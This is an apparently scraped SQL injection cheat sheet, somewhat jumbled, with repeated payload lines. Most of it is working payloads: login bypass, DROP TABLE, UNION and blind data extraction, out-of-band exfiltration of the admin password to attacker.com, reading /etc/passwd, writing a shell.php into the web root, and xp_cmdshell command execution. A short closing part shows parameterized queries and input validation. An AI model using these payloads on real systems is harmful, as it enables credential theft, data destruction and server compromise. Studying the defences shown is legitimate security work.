1. Basic Injection Testing
Common Payloads
' OR '1'='1 " OR "" = " ' OR 1=1-- '; DROP TABLE users--
Error-Based Detection
' AND 1=CONVERT(int, @@version)-- ' AND 1=CONVERT(int, db_name())--
SQL Injection is one of the most dangerous and widespread web application vulnerabilities. It arises when untrusted user input is directly embedded into SQL queries without proper sanitization, allowing attackers to modify the intended query behavior.
' OR '1'='1 " OR "" = " ' OR 1=1-- '; DROP TABLE users--
' AND 1=CONVERT(int, @@version)-- ' AND 1=CONVERT(int, db_name())--
ORDER BY 1-- ORDER BY 2-- ... ORDER BY 10--
UNION SELECT 1,2,3,4-- UNION SELECT null,table_name,null FROM information_schema.tables-- UNION SELECT 1,column_name,3 FROM information_schema.columns WHERE table_name='users'--
AND SUBSTRING((SELECT @@version),1,1)='M' AND (SELECT COUNT(*) FROM users) > 10
MySQL: AND IF(1=1,SLEEP(5),0) MSSQL: WAITFOR DELAY '0:0:5' Oracle: AND 1=DBMS_PIPE.RECEIVE_MESSAGE('a',5)
Oracle: UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT password FROM users WHERE username='admin')) MSSQL: EXEC master..xp_dirtree '\attacker.com'+(SELECT TOP 1 password FROM users)'
Register with username: '; UPDATE users SET password='hacked' WHERE username='admin'--
SELECT LOAD_FILE('/etc/passwd') SELECT @@datadir INTO OUTFILE '/var/www/shell.php'
EXEC xp_cmdshell 'whoami' SELECT * FROM OPENROWSET('SQLOLEDB','server';'sa';'password','SELECT 1')
SELECT UTL_INADDR.GET_HOST_ADDRESS((SELECT password FROM users WHERE username='admin')) FROM dual
// Python with psycopg2 cursor.execute("SELECT * FROM users WHERE email = %s", (email,)) // Java with PreparedStatement PreparedStatement stmt = conn.prepareStatement( "SELECT * FROM users WHERE username = ?"); stmt.setString(1, username);
# Django ORM (safe) User.objects.raw('SELECT * FROM users WHERE username = %s', [username]) # Never do this (vulnerable) User.objects.raw(f"SELECT * FROM users WHERE username = '{username}'")
// Only allow alphanumeric for usernames if (!username.matches("^[a-zA-Z0-9]+$")) { throw new ValidationException("Invalid username"); }
// For numeric IDs, parse early int id = Integer.parseInt(request.getParameter("id")); // This will throw NumberFormatException for SQLi attempts
This content is provided for educational purposes only. Never test security vulnerabilities against systems without explicit permission. Unauthorized testing may violate laws.